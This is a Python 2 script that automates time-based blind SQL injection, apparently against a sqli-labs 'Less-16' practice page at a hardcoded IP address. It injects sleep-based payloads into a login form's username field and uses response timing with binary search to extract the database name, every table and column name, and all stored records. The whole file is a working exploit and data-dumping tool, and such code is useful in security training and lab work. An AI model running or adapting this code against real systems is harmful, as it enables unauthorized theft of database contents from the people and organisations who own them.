import urllib
import urllib2

tableData = []

success_str = "flag.jpg"
databaselenpayload = "\") or if((length(%s)>=%d),0,sleep(5)) #"
asciipayload = "\") or if((ascii(substr((%s),%d,1))>=%d),0,sleep(5)) #"
tablenumpayload = "\") or if((select count(table_name) from information_schema.tables where table_schema = '%s')>=%d,0,sleep(5)) #"
tablenamelenpayloadfront = "\") or if((select length(table_name) from information_schema.tables where table_schema = '%s' limit "
tablenamelenpayloadbehind = ",1)>=%d,0,sleep(5)) #"
recordnumpayload = "\") or if((select count(*) from %s)>=%d,0,sleep(5)) #"
selectTable = "select table_name from information_schema.tables where table_schema = '%s' limit %d,1"

def getLengthResult(payload,in_str,len):
    uname = payload % (in_str,len)
    test_data = {'uname':uname,'passwd':''}
    test_data_urlencode = urllib.urlencode(test_data)
    requrl = "http://125.216.242.51/Less-16/"
    req = urllib2.Request(url = requrl,data =test_data_urlencode)
    try:
        res_data = urllib2.urlopen(req,timeout=1)
        res = res_data.read()
        return True
    except Exception, e:
        return False

def getAsciiResult(payload,in_str,pos,ascii):
    uname = payload % (in_str,pos,ascii)
    test_data = {'uname':uname,'passwd':''}
    test_data_urlencode = urllib.urlencode(test_data)
    requrl = "http://125.216.242.51/Less-16/"
    req = urllib2.Request(url = requrl,data =test_data_urlencode)
    try:
        res_data = urllib2.urlopen(req,timeout=1)
        res = res_data.read()
        return True
    except Exception, e:
        return False

def getLength(payload,in_str):
    leftLen = 0
    rightLen = 0
    guess = 10
    step = 5
    flag = False
    while 1:
        if getLengthResult(payload,in_str,guess) == True:
            guess += step
            flag = True
        else:
            if flag == True:
                rightLen = guess
                leftLen = guess - step
            else:
                rightLen = guess
            break
    #print payload,leftLen,rightLen
    if rightLen-leftLen >= 10:
        while leftLen < rightLen - 1:
            midLen = (leftLen + rightLen) >> 1
            if getLengthResult(payload,in_str,midLen):
                leftLen = midLen
            else:
                rightLen = midLen
        return leftLen
    else:
        for i in range(leftLen,rightLen+1):
            if(getLengthResult(payload,in_str,i) == False):
                return i-1

def getAscii(payload,in_str,len):
    res = ""
    #32-127
    for i in range(1,len+1):
        leftAscii = 32
        rightAscii = 127
        while leftAscii < rightAscii - 1:
            midAscii = (leftAscii + rightAscii) >> 1
            if(getAsciiResult(payload,in_str,i,midAscii) == True):
                leftAscii = midAscii
            else:
                rightAscii = midAscii
        res += chr(leftAscii)
    return res

#the i table
def getSingleTableData(i):
    singleTableData = []
    tmpTableData = tableData[i-1]
    for j in range(1,tmpTableData["recordNum"]+1):
        pieceData = getPieceData(i,j)
        singleTableData.append(pieceData)
    #print singleTableData
    return singleTableData

#the i table, the j record
def getPieceData(i,j):
    pieceData = {}
    tmpTableData = tableData[i-1]
    tableName = tmpTableData["name"]
    for column in tmpTableData["columns"]:
        pieceData[column] = getSingleData(tableName,j,column)
    return pieceData

#the i record
def getSingleData(tableName,i,columnName):
    #print tableName,i,columnName
    datalenpayload = "\") or if((select length(" + columnName + ") from %s limit " + str(i-1) + ",1)>=%d,0,sleep(5)) #"
    singleDataLen = getLength(datalenpayload,tableName)
    #print singleDataLen
    selectsingledata = "select " + columnName + " from " + tableName + " limit " + str(i-1) + ",1"
    singleData = getAscii(asciipayload,selectsingledata,singleDataLen)
    return singleData

def solve():
    #get database length
    dbLen = getLength(databaselenpayload,"database()")
    print "database length is " + str(dbLen)
    #get database name
    dbName = getAscii(asciipayload,"select database()",dbLen)
    print "database name is " + dbName
    #get tables in this database
    tableNum = getLength(tablenumpayload,dbName)
    print "there is " + str(tableNum) + " tables in " + dbName
    print "\n"
    #get tables' name
    for i in range(1,tableNum+1):
        tmpTableData = {}
        columnnumpayload = "\") or if((select count(column_name) from information_schema.columns where table_schema = '" + dbName + "' and table_name = '%s')>=%d,0,sleep(5)) #"

        print "get the " + str(i) + " table"
        #get the table name length
        tmpTableLen = getLength(tablenamelenpayloadfront + str(i-1) + tablenamelenpayloadbehind,dbName)
        print "table" + str(i) + "'s name length is " + str(tmpTableLen)
        #get the table name
        tmpTableName = getAscii(asciipayload,selectTable % (dbName,i-1),tmpTableLen)
        tmpTableData['name'] = tmpTableName
        print "table" + str(i) + "'s name is " + tmpTableName
        #getRecordNum
        tmpRecordNum = getLength(recordnumpayload,tmpTableName)
        tmpTableData['recordNum'] = tmpRecordNum
        print "table" + str(i) + "'s record num is " + str(tmpRecordNum)
        #get the columns num
        tmpColumnNum = getLength(columnnumpayload,tmpTableName)
        #print columnnumpayload
        print "table" + str(i) + "'s columns num is " + str(tmpColumnNum)
        #get columns' name
        columnName = []
        for j in range(1,tmpColumnNum + 1):
            #get column's length
            columnlenpayload = "\") or if((select length(column_name) from information_schema.columns where table_schema = '" + dbName + "' and table_name = '%s' limit " + str(j-1) + ",1)>=%d,0,sleep(5)) #"
            tmpColumnLen = getLength(columnlenpayload,tmpTableName)
            print "column " + str(j) + "'s length is " + str(tmpColumnLen)
            selectconlumn = "select column_name from information_schema.columns where table_schema = '" + dbName + "' and table_name = '" + tmpTableName + "' limit " + str(j-1) + ",1"
            tmpColumnName = getAscii(asciipayload,selectconlumn,tmpColumnLen)
            columnName.append(tmpColumnName)
            print "column " + str(j) + "'s name is " + tmpColumnName
            #print columnName
        tmpTableData['columns'] = columnName
        tableData.append(tmpTableData)
        #print tableData
        print "**********************************************************************************************************************"
        print "\n"
    for i in range (1,len(tableData)+1):
        print "get the " + str(i) + "'s record"
        singTableData = getSingleTableData(i)
        tableData[i-1]["record"] = singTableData
    print tableData

#print getLengthResult(databaselenpayload,"database()",10)
#print getAsciiResult(asciipayload,"select database()",1,116)
#print getLength(databaselenpayload,"database()")
#print getAscii(asciipayload,"select database()",8)
#columnnumpayload = "' and (select count(column_name) from information_schema.columns where table_schema = 'security' and table_name = '%s')>=%d #"
#print getLength(columnnumpayload,"users")
solve()
